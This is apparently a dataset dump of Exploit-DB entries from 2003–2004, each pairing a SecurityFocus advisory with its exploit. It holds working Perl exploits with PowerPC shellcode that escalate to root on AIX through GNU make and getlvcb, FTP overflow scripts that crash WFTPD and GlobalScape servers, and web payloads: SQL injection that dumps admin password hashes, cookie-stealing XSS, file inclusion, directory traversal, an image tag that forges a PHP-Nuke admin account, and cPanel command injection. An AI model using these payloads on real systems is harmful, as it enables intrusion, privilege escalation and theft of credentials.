QLWD/code_shield huggingface dataset:
标题: GNU Make For IBM AIX 4.3.3 - CC Path Local Buffer Overflow EDB-ID: 23838 CVE: 2004-2312 类型: LOCAL 平台: AIX 发布日期: 2003-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9903/info

GNU make for IBM AIX has been reported to be prone to a buffer overflow vulnerability, the issue is reported to exist due to a lack of sufficient boundary checks performed when reading the path to the CC compiler.

Because the GNU make utility is reported to run with setGID root privileges, a local attacker may potentially exploit this condition to gain access to the root group.

This issue is reported to exist on AIX 4.3.3 platforms.

#!/usr/bin/perl
# FileName: x_make_aix433_limited.pl
# Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell.
# Tested    on low version of Aix4.3.3. 
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org (EN)  / www.xfocus.net (CN)
# Date    : 2003-5-30
# Announce: use as your owner risk!

$CMD="/usr/local/bin/make";
$_=`/usr/bin/oslevel`;

$XID="\x03";
@GID_LIST=(248,247);

print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n";
print "From: [ www.xfocus.org 2003-5-30 ].\n\n";
print "Note :use this command to get gid=0 after egid=0 :\n";
print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n";

$str="k:k.c\n\t\${CC} k.c\n\t";
open  mfd,">Makefile" or die "open file Makefile for write error!\n";
open  kfd,">k.c"     or die "open file .k.c for write error!\n";
print mfd $str,  print kfd $str;
close mfd, close kfd;

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

foreach $GID ( @GID_LIST) {
  $ENV{CCC}=$NOP.&getshell($XID,chr($GID));
  system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300;
}

unlink "Makefile","k.c";

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF URL: https://www.exploit-db.com/exploits/23838
标题: IBM Lotus Domino 6/7 - HTTP webadmin.nsf Directory Traversal EDB-ID: 23836 CVE: 2004-2311 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9900/info

It has been reported that Lotus Domino may be prone to a directory traversal vulnerability that may allow a remote attacker to access information outside the server root directory. The issue reportedly exists in the server's administrative interface accessed via 'webadmin.nsf'. The vulnerability may be exploited by a remote attacker by traversing outside the server root directory by using '../' directory traversal character sequences. Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information and/or modify the underlying file system.

IBM Lotus Domino server 6.5.1 has been reported to be prone to this issue, however, it is possible that other versions are affected as well.

1)Go to http://www.example.com/webadmin.nsf
2)Go to "Files" tab
3)From the "Tools" menu select to create a "new" folder
4)As the name of the new folder enter "/../../../../../../pr00f"

or

"/../../../../windows/win.ini" URL: https://www.exploit-db.com/exploits/23836
标题: AIX 4.3.3/5.x - Getlvcb Command Line Argument Buffer Overflow (1) EDB-ID: 23840 CVE: 2004-0544 类型: LOCAL 平台: AIX 发布日期: 2003-05-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/9905/info

getlvcb has been reported to be prone to a buffer overflow vulnerability.

When an argument is passed to the getlvcb utility, the string is copied into a reserved buffer in memory. Data that exceeds the size of the reserved buffer will overflow its bounds and will trample any saved data that is adjacent to the affected buffer. Ultimately this may lead to the execution of arbitrary instructions in the context of the root user.

An attacker will require system group privileges prior to the execution of the getlvcb utility, the attacker may exploit the issue described in BID 9903 in order to gain the necessary privileges required to exploit this vulnerability.

#!/usr/bin/perl
# FileName: x_getlvcb_aix433_limited.pl
# Exploit getlvcb of Aix4.3.3 to get a uid=0 shell from a gid=0.
# Tested  : on Aix4.3.3.
# Author  : watercloud@xfocus.org
# Site    : www.xfocus.org   www.xfocus.net
# Date    : 2003-5-30
# Announce: use as your owner risk!

$CMD="/usr/sbin/getlvcb";
$_=`/usr/bin/oslevel`;

$XID="\x03";
$UID="\x97";
print "\n\nExploit $CMD for Aix 4.3.3 to get uid=0 shell.\n";
print "From: [ www.xfocus.org 2003-5-30 ].\n\n";
print "Note :\n";
print "You must get gid=0 befor use this exploit,for example ";
print "my another program x_make_433_limited.pl :)\n";
print "If you get a shell euid=0 then run this command: ";
print "/usr/bin/syscall setreuid 0 0 \\; execve '/bin/sh'\n";

$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();

$ENV{CCC}="AA".$NOP.&getshell($XID,$UID);
$ret=system $CMD ,"AAA"."\x2f\xf2\x2b\x40"x300;

for($i=0;$i<4 && $ret;$i++){
  for($j=0;$j<4 && $ret;$j++) {
    $ENV{CCC}="A"x $i .$NOP.&getshell($XID,$UID);
    system $CMD ,"A"x $j ."\x2f\xf2\x2b\x40"x300;
  }
}

#sub
sub getshell($XID,$GID) {
  my $SHELL,($XID,$GID)=@_;
  $SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
  $SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
  $SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
  $SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
  $SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
  $SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
  $SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
  return $SHELL;
}
#EOF URL: https://www.exploit-db.com/exploits/23840
标题: Belchior Foundry VCard 2.8 - Authentication Bypass EDB-ID: 23843 CVE: 2004-1828 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9910/info

It has been reported that vCard is prone to a remote authentication bypass vulnerability. This issue is due to a design error that would allow a malicious user access to certain admin functionality without having to first authenticate to the application.

This issue may be leveraged to manipulate the application database, potentially destroying data.

http://www.example.com/vcard/admin/uninstall.php
http://www.example.com/vcard/admin/uninstall.php?step=2 URL: https://www.exploit-db.com/exploits/23843
标题: WFTPD Server GUI 3.21 - Remote Denial of Service EDB-ID: 23842 CVE: 2004-2367 类型: DOS 平台: WINDOWS 发布日期: 2004-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9908/info

WFTPD server front end GUI has been reported to be prone to a denial of service. The issue is reported to present itself if a user who is logged into the affected service issues an FTP request with a large parameter. This will cause the server GUI to behave in an unstable manner, potentially preventing the GUI from opening.

#!/usr/bin/perl
# Multiple Vulnerabilities in WFTPD FTP Server version 3.21.1
# Created by Beyond Security Ltd. - All rights reserved.

use IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2119");

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}


$remote->autoflush(1);

my $ftp = "USER username\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "password", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

$ftp = join ("", "LIST ", "A"x260, "\r\n"); # DoS ...

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote; URL: https://www.exploit-db.com/exploits/23842
标题: Mambo Open Source 4.5 - 'index.php' SQL Injection EDB-ID: 23834 CVE: 2004-1826 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9891/info

It has been reported that the Mambo 'index.php' script is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input.

As a result of this a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue.

http://www.example.com/index.php?option=content&task=view&id=[SQL]&Itemid=[VID]
http://www.example.com/index.php?option=content&task=category&sectionid=[VID]&id=[SQL]&Itemid=[VID]
http://www.example.com/index.php?option=content&task=category&sectionid=[VID]&id=[SQL]&Itemid=[VID] URL: https://www.exploit-db.com/exploits/23834
标题: GlobalScape Secure FTP Server 2.0 Build 03.11.2004.2 - Site Command Remote Buffer Overflow EDB-ID: 23839 CVE: 2004-2366 类型: DOS 平台: WINDOWS 发布日期: 2004-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9904/info

It has been reported that Secure FTP Server may be prone to a remote buffer overflow vulnerability that may allow attackers to execute arbitrary code on a vulnerable system in order to gain unauthorized access. An attacker may cause the buffer overflow condition to occur by sending about 252 bytes of data via a parameter of the SITE Command. Immediate consequences of an attack may result in a denial of service condition. The possibility of remote code execution has not been confirmed at the moment.

Secure FTP Server version 2.0 Build 03.11.2004.2 has been reported to prone to this issue.

e IO::Socket;

$host = "192.168.1.243";

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "2117");

unless ($remote) { die "cannot connect to ftp daemon on $host" }

print "connected\n";
while (<$remote>)
{
 print $_;
 if (/220 /)
 {
  last;
 }
}

$remote->autoflush(1);

my $ftp = "USER anonymous\r\n";

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/331 /)
 {
  last;
 }
}

$ftp = join("", "PASS ", "a\@b.com", "\r\n");
print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/230 /)
 {
  last;
 }
}

$ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n");

print $remote $ftp;
print $ftp;
sleep(1);

while (<$remote>)
{
 print $_;
 if (/250 Done/)
 {
  last;
 }
}

close $remote; URL: https://www.exploit-db.com/exploits/23839
标题: PHP-Nuke 6.x/7.0/7.1 - Image Tag Admin Command Execution EDB-ID: 23835 CVE: 2004-1842 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9895/info

It has been reported that PHP-Nuke is prone to a remote admin command execution vulnerability. This issue is due to a design error that allows an attacker to specify arbitrary URI values in bbCode tags contained within posts.

This issue may be leveraged to force an admin user viewing a malicious post to perform some query to the affected application such as adding a user or removing arbitrary data from the database.

The following URI, when inserted between the '[img]' tags and viewed by an admin user will cause the creation of a new admin user:
[img]http://www.example.com/admin.php?op=AddAuthor&add_aid=attacker&add_name=God&add_pwd=coolpass&add_email=kala@hot.ee&add_radminsuper=1[/img] URL: https://www.exploit-db.com/exploits/23835
标题: IBM Lotus Domino 6.5.1 - HTTP webadmin.nsf Quick Console Cross-Site Scripting EDB-ID: 23837 CVE: 2004-2310 类型: REMOTE 平台: WINDOWS 发布日期: 2004-03-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/9901/info

It has been reported that Lotus Domino server may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'Quick Console' function of 'webadmin.nsf' administrative interface.

IBM Lotus Domino server 6.5.1 has been reported to be prone to this issue, however, it is possible that other versions are affected as well.

1)Go to http://www.example.com/webadmin.nsf
2)Go to "server" tab
3)Go to "Quick console" in the left column
4)Give as "Domino command" <script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/23837
标题: vBulletin 3.0 - 'showthread.php' Cross-Site Scripting EDB-ID: 23823 CVE: 2004-1823 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9889/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'showthread.php' script. This issue is reportedly due to a failure to sanitize user input and so allow for injection of HTML and script code that may facilitate cross-site scripting attacks. 

Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/showthread.php?t=[VID]&page=[INT][XSS] URL: https://www.exploit-db.com/exploits/23823
标题: Phorum 3.x - 'register.php' HTTP_REFERER Cross-Site Scripting EDB-ID: 23818 CVE: 2004-1822 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9882/info

It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.

Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

register.php?&HTTP_REFERER=[XSS] URL: https://www.exploit-db.com/exploits/23818
标题: Phorum 3.x - 'login.php' HTTP_REFERER Cross-Site Scripting EDB-ID: 23819 CVE: 2004-1822 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9882/info
 
It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.
 
Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

login.php?HTTP_REFERER=[XSS] URL: https://www.exploit-db.com/exploits/23819
标题: Phorum 3.x - 'profile.php?target' Cross-Site Scripting EDB-ID: 23820 CVE: 2004-1822 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9882/info
  
It has been reported that Phorum is prone to a cross-site scripting vulnerability across multiple modules. The issue presents itself across multiple modules including 'login.php', 'register.php', and 'profile.php'. These modules employ two hidden variables named 'f' and 'target', which are passed user-supplied input values from HTTP_REFERER without proper sanitization.
  
Phorum versions 5.0.3 Beta and prior are reported to be vulnerable to this issue.

profile.php?id=2&action=edit&target=[XSS] URL: https://www.exploit-db.com/exploits/23820
标题: vBulletin 3.0 - 'forumdisplay.php' Cross-Site Scripting EDB-ID: 23822 CVE: 2004-1823 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9888/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability in the 'forumdisplay.php' script. This issue is reportedly due to a failure to sanitize user input and so allow for injection of HTML and script code that may facilitate cross-site scripting attacks. 

Successful exploitation of this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forumdisplay.php?f=[VID]&page=[INT]&sort=lastpost&order=[XSS] URL: https://www.exploit-db.com/exploits/23822
标题: WarpSpeed 4nAlbum Module 0.92 - 'displaycategory.php?basepath' Remote File Inclusion EDB-ID: 23815 CVE: 2004-1820 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9881/info

It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.

There is an information disclosure issue with the 'displaycategory.php' script. 

There is a remote file inclusion vulnerability in the 'displaycategory.php' script. 

A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.

Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.

This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.

http://www.example.com/phpNukeDirectory/modules/4nalbum/public/displaycategory.php?basepath=http://www.example.net/ URL: https://www.exploit-db.com/exploits/23815
标题: PHP-Nuke 7.1 Recommend_Us Module - 'fname' Cross-Site Scripting EDB-ID: 23814 CVE: 2004-1817 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9879/info

It has been reported that PHP-Nuke may be prone to multiple cross-site scripting vulnerabilities. These vulnerabilities occur due to insufficient sanitization of user-supplied data via the 'Your Name', 'nicname', 'fname', 'ratenum', and 'search' fields of 'modules.php' script. Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/nuke71/modules.php?name=Recommend_Us&op=SiteSent&fname=>[xss code here]
http://www.example.com/nuke71/modules.php?name=Downloads&d_op=TopRated&ratenum=>[xss code here]&ratetype=x URL: https://www.exploit-db.com/exploits/23814
标题: Mambo Open Source 4.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23824 CVE: 2004-1825 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/9890/info

It has been reported that the Mambo 'index.php' script is prone to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly validate user supplied URI input. This issue could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/index.php?return=[XSS] URL: https://www.exploit-db.com/exploits/23824
标题: YABB SE 1.5.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23812 CVE: 2004-1827 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9873/info

It has been reported that YaBB and YaBB SE are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly validate URI supplied user input.

Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.

[glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]

[shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow]

The following proof of concept has been supplied by frog-m@n:
[glow=red,2);background:url(javascript:[SCRIPT],300]text[/glow] URL: https://www.exploit-db.com/exploits/23812
标题: Emumail EMU Webmail 5.2.7 - 'emumail.fcgi' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 23810 CVE: 2004-2334 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9861/info
 
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out cross-site scripting attacks and disclose the path to the victim's home directory. The issues are reported to exist in the login script, 'emumail.fcgi' script and the 'init.emu' sample script.
 
EMU Webmail 5.2.7 has been reported to be affected by these issues.

http://www.example.com/webmail/emumail.fcgi?passed=parse&variable=%3Cscript%3Ealert( %22G%22)%3C/script%3E
http://www.example.com/webmail/emumail.fcgi?passed=go_index&folder=<script>alert("G")</script> URL: https://www.exploit-db.com/exploits/23810
标题: WarpSpeed 4nAlbum Module 0.92 - 'modules.php?gid' SQL Injection EDB-ID: 23816 CVE: 2004-1821 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9881/info
 
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
 
There is an information disclosure issue with the 'displaycategory.php' script.
 
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
 
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
 
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
 
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.


http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,pwd,2,null,null,null%20FROM%20nuke_authors/*
http://www.example.com/phpNukeDirectory/modules.php?op=modload&name=4nAlbum&file=index&do=showgall&gid=-99%20UNION%20SELECT%20null,null,aid,2,null,null,null%20FROM%20nuke_authors/* URL: https://www.exploit-db.com/exploits/23816
标题: WarpSpeed 4nAlbum Module 0.92 - 'nmimage.php?z' Cross-Site Scripting EDB-ID: 23817 CVE: 2004-1818 类型: WEBAPPS 平台: PHP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9881/info
 
It has been reported that 4nAlbum is prone to multiple vulnerabilities. These issues are primarily due to a failure of the module to validate user input.
 
There is an information disclosure issue with the 'displaycategory.php' script.
 
There is a remote file inclusion vulnerability in the 'displaycategory.php' script.
 
A cross-site scripting vulnerability in the 'nmimage.php' script has also been reported.
 
Finally an SQL injection vulnerability has been reported. This issue may be leveraged through the 'modules.php' script of phpNuke while requesting the 'index' file of the 4nAlbum module.
 
This issue has been reported to affect version 0.92 of the software. It is quite likely that other versions are affected as well.

http://www.example.com/phpNukeDirectory/modules/4nalbum/public/nmimage.php?z=[xss code here] URL: https://www.exploit-db.com/exploits/23817
标题: VocalTec VGW4/8 Telephony Gateway - Remote Authentication Bypass EDB-ID: 23813 CVE: 2004-1813 类型: WEBAPPS 平台: ASP 发布日期: 2004-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/9876/info

It has been reported that the VGW4/8 Telephony Gateway is prone to a remote authentication bypass vulnerability via its web configuration tool. The problem is due to a design error in the application that allows a user to access configuration pages without prior authentication.

Successful exploitation of this issue may allow a remote attacker to gain control of the affected appliance via its web configuration tool.

http://www.example.com/home.asp/
http://www.example.com/home.asp/../menu.asp URL: https://www.exploit-db.com/exploits/23813
标题: cPanel 5/6/7/8/9 - Login Script Remote Command Execution EDB-ID: 23807 CVE: 2004-1770 类型: WEBAPPS 平台: CGI 发布日期: 2004-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9855/info

A potential remote command execution vulnerability has been discovered in the cPanel application. This issue occurs due to insufficient sanitization of externally supplied data to the login script. An attacker may exploit this problem by crafting a malicious URI request for the affected script; the attacker may then supply shell metacharacters and arbitrary commands as a value for the affected variable.

http://www.example.com.com:2082/login/?user=|"`id`"| URL: https://www.exploit-db.com/exploits/23807